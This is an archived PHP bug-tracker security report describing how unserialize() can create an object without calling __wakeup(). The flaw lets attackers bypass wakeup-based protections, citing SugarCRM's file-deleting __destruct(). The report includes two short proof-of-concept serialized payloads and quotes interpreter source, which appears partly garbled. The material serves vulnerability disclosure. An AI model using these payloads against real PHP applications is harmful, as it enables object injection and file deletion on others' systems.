PHP :: Sec Bug #72663 :: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization

PHP :: Sec Bug #72663 :: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization - Taoguang Chen, PHP.

- Published: date not stated
- Original: <https://bugs.php.net/bug.php?id=72663>
- Preserved from: https://bugs.php.net/bug.php?id=72663 (live) on 2026-09-10
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

PHP :: Sec Bug #72663 :: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization

| [[image: Bugs]](https://bugs.php.net/) | | |

go to bug id or search bugs for

| |

|

View Developer Edit

[2016-07-24 02:09 UTC] taoguangchen at icloud dot com

Description:

Create an Unexpected Object and Don't Invoke __wakeup() in During Deserialization

static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce) { ... if (ce->serialize == NULL) { object_init_ex(*rval, ce); <=== create object ... static inline int object_common2(UNSERIALIZE_PARAMETER, long elements) { ... if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) { <=== create object properties return 0; }

if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY && zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "**wakeup", sizeof(**"wakeup"))) { INIT_PZVAL(&fname); ZVAL_STRINGL(&fname, "**wakeup",

sizeof("wakeup") - 1, 0); BG(serialize_lock)++; call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0, 0, 1, NULL TSRMLS_CC); <=== call to __wakeup() BG(serialize_lock)--; }

If the process_nested_data() return 0, the __wakeup() will not be invoked, but the object and its properties has been cr

i)The unexpected object was destroyed, invoke __destruct()

Some app revents objects deserialization via __wakeup(), ex SugarCRM:

[https://github.com/sugarcrm/sugarcrm_dev/blob/de002ede6b3f62ea9f0e22a49ba281c680bc69d7/Zend/Http/Response/Stre

public function __destruct() { if(is_resource($this->stream)) { fclose($this->stream); $this->stream = null; } if($this->_cleanup) { @unlink($this->stream_name); } } /**

- This is needed to prevent unserialize vulnerability

*/ public function __wakeup() { // clean all properties foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } throw new Exception("Not a serializable object"); }

So attacker can bypass __wakeup() and invoke __destruct() with crafted properties.

ii)The unexpected object wasn't destroyed, invoke more magic methods.

Keeping the unexpected object via customized deserialization.

PoC:

<?php

class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } }

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:4;}'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit); echo $data[1];

?>

Keeping the unexpected object via session deserialization.

PS_SERIALIZER_DECODE_FUNC(php_serialize) /* {{{ */ { ... PHP_VAR_UNSERIALIZE_INIT(var_hash); ALLOC_INIT_ZVAL(session_vars); if (php_var_unserialize(&session_vars, &val, endptr, &var_hash TSRMLS_CC)) { var_push_dtor(&var_hash, &session_vars); }

PHP_VAR_UNSERIALIZE_DESTROY(var_hash); ... PS(http_session_vars) = session_vars;

The unexpected data in during deserialization will be still stored into $_SESSION.

PoC:

```
<?php
ini_set('session.serialize_handler', 'php_serialize'); session_start(); $sess = 'O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:1;}'; session_decode($sess); echo $_SESSION;
?>
```

Patches

Pull Requests

History

| |